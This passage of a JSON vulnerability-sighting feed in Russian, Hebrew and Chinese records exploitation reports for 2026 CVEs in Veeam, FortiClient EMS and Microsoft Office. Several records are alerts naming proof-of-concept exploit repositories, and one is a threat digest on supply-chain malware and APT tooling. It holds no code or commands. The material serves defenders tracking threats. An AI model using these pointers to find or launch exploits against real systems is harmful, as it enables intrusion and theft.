\u043a\u043e\u0434\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f postgres.\n\nVeeam \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f EoP \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Veeam Backup & Replication \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Windows, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 SSH \u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c\u0438 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0432 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0439.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u0445\u043e\u0434\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0447\u0435\u0440\u0435\u0437 HackerOne. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Veeam Backup & Replication 12.3.2.4465 \u0438 13.0.1.2067.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Veeam \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e VBR \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u0435\u043d \u0441\u0440\u0435\u0434\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0443\u0441\u043b\u0443\u0433, \u0441\u0440\u0435\u0434\u043d\u0438\u0445 \u0438 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439. \u0418 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d \u0441\u0440\u0435\u0434\u0438 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u044f, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u043b\u0443\u0436\u0438\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0434\u043b\u044f \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439, \u0443\u043f\u0440\u043e\u0449\u0430\u0435\u0442 \u043a\u0440\u0430\u0436\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u0435\u0433\u043a\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0438.\n\n\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0432 VBR \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u0430\u043d\u0434\u0430\u043c\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Conti, BlackBasta \u0438 Cuba. \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 2024 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Frag \u0443\u043c\u0435\u043b\u043e \u043f\u0440\u0435\u043f\u0430\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 RCE \u0432 VBR, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u00a0\u0432 \u0430\u0442\u0430\u043a\u0430\u0445 Akira \u0438 Fog,\u00a0\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u0437\u0436\u0435 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430.\n\n\u0418 \u043d\u0435 \u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0432\u0435\u0434\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u0435\u0439 Veeam \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 550 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 74% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Global 2000 \u0438 82% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 Fortune 500. \u0422\u0430\u043a \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u043d\u043e\u0432\u043e\u0439 \u043f\u0430\u0440\u0442\u0438\u0435\u0439 CVE.", "creation_timestamp": "2026-03-13T16:26:50.000000Z"}, {"uuid": "b724893a-4ef4-4235-88f9-5fe7fea65a19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "exploited", "source": "Telegram/UCrLoXMb7KneZdCR_5SvT61ySjoWTk4vUvx-vZ7UNThSnZyb", "content": "", "creation_timestamp": "2026-03-03T10:35:05.000000Z"}, {"uuid": "19ec1ae3-ed63-447b-89ee-d04e9c6cd245", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/CyberSecurityIL/83105", "content": "\u05e9\u05d9\u05de\u05d5 \u05dc\u05d1 3 \u05d5\u05d0\u05d7\u05e8\u05d5\u05df - \u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1-FortiClient EMS (CVE-2026-21643) \u05de\u05e0\u05d5\u05e6\u05dc\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\u05dc \u05d9\u05d3\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05de\u05e1\u05d1\u05d9\u05d1 \u05dc\u05e2\u05d5\u05dc\u05dd.\n\nhttps://t.me/CyberSecurityIL/8695", "creation_timestamp": "2026-03-30T20:03:39.000000Z"}, {"uuid": "9b1dcf84-a638-4eb1-b4d5-b891259b4e05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "Telegram/L2aBrYDo_rxCqwUF4YHLW3JJwft9-3zI3DZspmh0HhhC4i0", "content": "", "creation_timestamp": "2026-02-27T10:23:36.000000Z"}, {"uuid": "9fa601fa-cee9-4e30-a3fa-8a84197a4e32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/77554", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21643\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a alirezac0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-27 19:20:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPython PoC and Nuclei template for CVE-2026-21643 (Pre-Authentication SQL Injection in FortiClient EMS 7.4.4)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-27T20:00:04.000000Z"}, {"uuid": "3e8b5ce7-86c0-4512-bb30-bdb0f617f2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "Telegram/_qGumjAcjt13MK59ex_gXfGPUN23Br-oHfVfrCDSD0208XYs", "content": "", "creation_timestamp": "2026-03-02T15:45:05.000000Z"}, {"uuid": "922a3ddc-7658-49d9-bc1c-fe011df79b6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/GithubRedTeam/77697", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21643\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-28 19:43:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-21643\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-28T20:00:04.000000Z"}, {"uuid": "e8dc0f53-81ab-403b-accd-2836c6cb7db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/kasperskyb2b/2120", "content": "Trivy \u0438 LiteLLM \u043f\u043e\u0434 \u0443\u0434\u0430\u0440\u043e\u043c, \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f BPFdoor \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udd25\u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0441\u0430\u043c\u0430\u044f \u0437\u043d\u0430\u0447\u0438\u043c\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c \u043c\u0435\u0441\u044f\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0435\u0449\u0451 \u043d\u0435 \u0440\u0430\u0437 \u043d\u0430\u043c \u0430\u0443\u043a\u043d\u0435\u0442\u0441\u044f \u2014 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043f\u043e \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0418\u0418-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 LiteLLM, \u0441\u043a\u0430\u043d\u0435\u0440\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Trivy \u0438 Checkmarx. \u0418\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0443 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d CVE-2026-33634 (CVSS 9.4). \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u043d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0442\u0430\u0449\u0438\u0442 SSH\u2011\u043a\u043b\u044e\u0447\u0438, \u0441\u0435\u043a\u0440\u0435\u0442\u044b CI/CD,  \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 AWS \u0438 GCP, \u0441\u0435\u043a\u0440\u0435\u0442\u044b k8 \u0438 \u0434\u0430\u0436\u0435  \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0438. \u0421\u043b\u0435\u0434\u043e\u043c \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0440\u044b npm \u0431\u044b\u043b \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u0447\u0435\u0440\u0432\u044c CanisterWorm.\n\n\ud83d\udcf1APT Red Menshen \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0442\u044c BPFDoor, \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u0439 Linux\u2011\u0431\u044d\u043a\u0434\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0435\u0442 eBPF \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u00ab\u0432\u043e\u043b\u0448\u0435\u0431\u043d\u043e\u0433\u043e\u00bb \u043f\u0430\u043a\u0435\u0442\u0430. \u0412 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u044b \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 HTTPS\u2011\u0442\u0440\u0430\u0444\u0438\u043a, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u0435\u0435. \u0413\u0440\u0443\u043f\u043f\u0430 \u0447\u0451\u0442\u043a\u043e \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u2011\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0438 \u0433\u043e\u0441\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. \u041f\u0440\u043e\u043d\u0438\u043a\u0430\u044e\u0442  \u0432 \u0441\u0435\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043f\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Ivanti, Cisco, Fortinet \u0438 Palo Alto. \u0414\u043b\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0435\u043b\u0435\u043a\u043e\u043c-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430\u043c\u0438. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 BPFDoor \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b \u0438\u043d\u0441\u043f\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u0441\u0438\u0433\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 SCTP,  \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0432\u0441\u0435\u043c\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0442\u0435\u043b\u0435\u043a\u043e\u043c-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\ud83d\udd3b\u0410\u043d\u0430\u043b\u0438\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb  \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b \u0441\u0432\u044f\u0437\u044c \u043c\u0435\u0436\u0434\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u2011\u043a\u0438\u0442\u043e\u043c Coruna \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u00ab\u0422\u0440\u0438\u0430\u043d\u0433\u0443\u043b\u044f\u0446\u0438\u044f\u00bb. \n\n\ud83d\udfe2 \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u0443\u044e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e \u0432 \u042e\u0412\u0410: \u0441\u0432\u044f\u0437\u043a\u0430 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 Brushworm \u0438 \u043a\u0435\u0439\u043b\u043e\u0433\u0433\u0435\u0440\u0430 Brushlogger \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 USB\u2011\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u0438, \u043f\u043e\u0445\u0438\u0449\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u0430\u0440\u0445\u0438\u0432\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b.\n\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u043e\u0440 \u0412\u041f\u041e PRISMEX, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e APT28. \u041e\u043d\u043e \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Microsoft Office (CVE-2026-21509 \u0438 CVE-2026-21513). PRISMEX \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u0442\u0435\u0445\u043d\u0438\u043a\u0443 COM hijacking \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0438 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0435\u0442 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c Filen io \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u04212.\n\n\ud83d\udfe3APT Silver Fox \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043d\u0430\u043b\u043e\u0433\u043e\u0432\u044b\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0430\u043c \u042e\u0433\u043e\u2011\u0412\u043e\u0441\u0442\u043e\u0447\u043d\u043e\u0439 \u0410\u0437\u0438\u0438, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f ValleyRAT \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u043c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 Gh0st RAT \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c HoldingHands \u0438 \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440 \u043d\u0430 Python, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 WhatsApp. \u0413\u0440\u0443\u043f\u043f\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0441\u043e\u0447\u0435\u0442\u0430\u0442\u044c \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441\u043e \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0435\u043c. \n\n\ud83e\udd2a\u041d\u0435 \u043f\u0443\u0442\u0430\u0435\u043c PaaS \u0438 PaaS!  EvilTokens, \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u00ab\u0444\u0438\u0448\u0438\u043d\u0433 \u043a\u0430\u043a \u0443\u0441\u043b\u0443\u0433\u0430\u00bb (Phishing as a Service) \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0435\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 Railway.com (Platform as a Service) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Microsoft 365 \u0443 \u0441\u043e\u0442\u0435\u043d \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 \u0421\u0428\u0410, \u041a\u0430\u043d\u0430\u0434\u0435, \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0438, \u041d\u043e\u0432\u043e\u0439 \u0417\u0435\u043b\u0430\u043d\u0434\u0438\u0438 \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u0438.\n\n\ud83d\udd34\u0410\u043d\u0430\u043b\u0438\u0437 \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c PXA Stealer, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n\ud83d\udcf1 \u041e\u0431\u0437\u043e\u0440 12 \u043d\u043e\u0432\u044b\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432 \u0441\u0442\u0438\u043b\u0435\u0440\u043e\u0432, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u043c\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 